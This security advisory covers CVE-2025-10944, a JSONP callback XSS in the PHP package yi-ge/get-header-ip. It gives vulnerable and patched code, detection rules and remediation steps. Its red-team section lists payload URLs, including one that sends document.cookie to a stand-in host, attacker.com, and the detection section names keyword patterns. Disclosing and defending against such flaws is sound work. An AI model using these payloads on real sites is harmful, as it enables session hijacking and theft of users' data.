CVE-2025-10944

Executive Summary

CVE-2025-10944 identifies a stored/reflected Cross-Site Scripting (XSS) vulnerability in the yi-ge/get-header-ip package, specifically in the ip.php file. The callback argument is not sanitized, allowing an attacker to inject arbitrary JavaScript. This package uses a rolling release model, meaning no fixed version is available, and the vendor has not responded to disclosure attempts. The vulnerability can be exploited remotely without authentication, making it a high-risk issue for any application using this library to retrieve client IP addresses.

Supply Chain & Package Security

This vulnerability affects a PHP package (yi-ge/get-header-ip) distributed via Composer/Packagist. Since the vendor is unresponsive and no patch exists, any project depending on this library is at risk. Organizations should immediately audit their composer.json for this dependency and consider forking or replacing the package.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (remote, unauthenticated, XSS), a reasonable estimate is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a crafted URL
• Scope: Changed (S:C) – injected script can access other origins
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium-High due to ease of exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability resides in ip.php of the yi-ge/get-header-ip package. The ip() function accepts a callback parameter and directly outputs it without sanitization or encoding. An attacker can craft a URL like:

https://target.com/path/to/ip.php?callback=alert('XSS')

The server responds with:

alert('XSS')

This is a classic JSONP-style XSS. The callback parameter is intended for JSONP responses, but the lack of validation allows arbitrary JavaScript execution.

Vulnerable vs. Patched Code

Vulnerable code (ip.php):

<?php
function ip($callback) {
    // ... get IP logic ...
    echo $callback . '({"ip":"' . $ip . '"})';
}
?>

Patched code (hypothetical):

<?php
function ip($callback) {
    // Validate callback is a valid function name
    if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $callback)) {
        header('HTTP/1.1 400 Bad Request');
        exit('Invalid callback');
    }
    // ... get IP logic ...
    echo $callback . '({"ip":"' . $ip . '"})';
}
?>

The patch adds a regex check to ensure the callback contains only alphanumeric characters and underscores, preventing arbitrary code injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of yi-ge/get-header-ip (any commit up to 589b23d0eb0043c310a6a13ce4bbe2505d0d0b15).
2. Deploy a simple PHP server: php -S 0.0.0.0:8080
3. Access http://localhost:8080/ip.php?callback=alert(1)

Exploitation:

• Basic XSS: http://target.com/ip.php?callback=alert(document.cookie)
• Steal cookies: http://target.com/ip.php?callback=document.location='http://attacker.com/steal.php?c='+document.cookie
• Phishing: Inject a fake login form.

Blue Team

Detection:

• Monitor web logs for ip.php requests with suspicious callback parameters (e.g., containing alert, document.cookie, fetch, XMLHttpRequest).
• Use WAF rules to block callback parameters that do not match ^[a-zA-Z_][a-zA-Z0-9_]*$.

Hunting:

• Search for ip.php in web server logs.
• Look for outbound connections from the server to unknown IPs after a callback request.

Indicators of Compromise (IOCs)

• File: ip.php in the yi-ge/get-header-ip package.
• URL Pattern: */ip.php?callback=*
• Network: HTTP requests to ip.php with non-alphanumeric callback values.
• Log Entry: GET /ip.php?callback=malicious_code HTTP/1.1 with 200 response.

Detection Engineering

YARA Rule

rule detect_yige_xss_callback {
    meta:
        description = "Detects CVE-2025-10944 XSS in yi-ge/get-header-ip"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10944"
    strings:
        $callback = /callback\s*=\s*[^a-zA-Z_]/ nocase
        $ip_php = "ip.php" nocase
    condition:
        $ip_php and $callback
}

Sigma Rule

title: CVE-2025-10944 XSS in yi-ge/get-header-ip
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-10944 via callback parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: 'ip.php'
        cs-uri-query|re: 'callback=[^a-zA-Z_]'
    condition: selection
falsepositives:
    - Legitimate JSONP usage with valid callback names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10944 XSS in yi-ge/get-header-ip"; flow:to_server,established; content:"ip.php"; http_uri; pcre:"/callback\s*=\s*[^a-zA-Z_]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove or replace the yi-ge/get-header-ip package with a maintained alternative (e.g., symfony/http-foundation).
2. If removal is not possible, apply a virtual patch using a WAF to block malicious callback parameters.
3. Fork the repository and apply the regex validation fix described above.

Long-term:

• Implement a software composition analysis (SCA) tool to detect vulnerable dependencies.
• Establish a policy for using only actively maintained packages.
• Conduct a security review of all third-party PHP libraries.

Valters IT
Securing digital frontiers with precision and expertise.